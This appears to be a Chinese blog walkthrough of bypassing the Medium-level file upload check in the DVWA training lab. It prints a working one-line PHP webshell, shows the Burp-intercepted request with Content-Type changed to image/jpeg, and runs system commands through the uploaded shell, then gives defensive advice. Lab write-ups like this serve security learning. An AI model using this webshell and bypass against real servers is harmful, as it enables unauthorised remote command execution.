【网络安全实战】手把手教你绕过DVWA中级难度文件上传限制(Webshell实战)
前言
在渗透测试中,文件上传漏洞无疑是一颗“核弹”。如果你能成功上传一个Webshell,就意味着基本上拿下了目标服务器的控制权。
最近在复习Web安全基础,在DVWA(Damn Vulnerable Web Application)靶场中,遇到了Medium(中级) 难度的文件上传漏洞。与初级直接上传PHP文件不同,中级加入了MIME类型验证。
本文将图文并茂地记录我的绕过过程,从配置Burp Suite抓包到修改请求头,再到成功获取服务器IP地址。希望对正在学习网络安全的你有所帮助。
环境说明:
靶机:DVWA (IP: 192.168.139.129)
攻击机:Kali Linux
工具:Burp Suite Community Edition
第一步:观察现象与源码逻辑分析
登录DVWA后,将安全级别调整为Medium。
进入File Upload模块,界面提示让我们上传一个图片。
直觉告诉我: 如果直接上传webshell.php,一定会被拦截。
通过阅读服务器端源码(或经验判断),中级难度的核心防御点在于:
-
检查HTTP头的
Content-Type字段是否为image/jpeg或image/png。 -
并没有检查文件后缀名(或者仅做简单限制)。

第二步:生成简易Webshell
在Kali Linux中,我们先编写一个最简单的PHP一句话木马。
php
<?php system($_GET['cmd']); echo 'Type a command: <form method="get" action=""><input type="text" name="cmd"></form>'; ?>
在终端使用ls命令查看,确认文件存在于/home/kali目录下。

第三步:配置代理与Burp Suite抓包
为了绕过MIME检测,我们需要拦截上传请求并修改它。
-
设置Firefox代理为手动配置,HTTP Proxy为
127.0.0.1,端口8080 -

-
打开Burp Suite,确保
Intercept功能处于开启状态。 -
在DVWA页面选择
webshell.php,点击Upload。

第四步:关键绕过点——修改Content-Type
Burp Suite成功拦截到了上传请求。观察Raw数据:

漏洞点在这里:
原始请求中:
text
Content-Disposition: form-data; name="uploaded"; filename="webshell.php" Content-Type: application/x-php <--- 这里是PHP类型
服务器端Medium级别的代码会检查Content-Type是否image/jpeg开头。
修改手法:
将Content-Type: application/x-php改为Content-Type: image/jpeg。

修改后的数据包如下:

点击Forward放行数据包。
第五步:验证上传结果
页面返回了:
../../hackable/uploads/webshell.php successfully uploaded!

这说明: 服务器只检查了MIME类型,完全忽略了文件内容是否为图片,也没有重命名文件。绕过了!
第六步:命令执行与权限验证

既然Webshell上传成功,访问路径:http://192.168.139.129/dvwa/hackable/uploads/webshell.php
页面显示了我们的表单输入框。尝试执行系统命令:输入/sbin/ifconfig


结果分析:
成功获取到靶机的IP地址:192.168.139.129,网卡信息、MAC地址等全部回显。
这说明Apache进程(www-data)拥有调用系统命令的权限。
遇到的坑与思考
-
为什么不用改后缀?
在Medium级别代码中,只验证了MIME类型($_FILES['type']),而这个值是浏览器提供的,完全可信吗?不可信。这就是设计缺陷。 -
如果是High级别怎么办?
High级别通常会验证文件内容(getimagesize)或强制重命名。届时可能需要结合图片马或文件包含漏洞进行组合利用。 -
防御建议
-
服务端严格校验文件内容(如GD库二次渲染)。
-
使用随机数重命名文件,并剔除可执行后缀(如
.php)。 -
设置上传目录不可解析PHP(如
.htaccess配置)。
-
总结
这次实验让我深刻理解了Content-Type依赖客户端是不可靠的。
攻击者视角:只要有一层校验不到位,就能撕开突破口。
防御者视角:必须采用“白名单后缀 + 内容重写 + 目录权限控制”纵深防御体系。
仅仅一行Content-Type: image/jpeg的修改,就让服务器错把恶意的PHP脚本当成图片接收。这种“狸猫换太子”的思路,在渗透测试中往往非常奏效。
接下来将继续研究SQL注入和XSS漏洞,欢迎大家关注交流。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)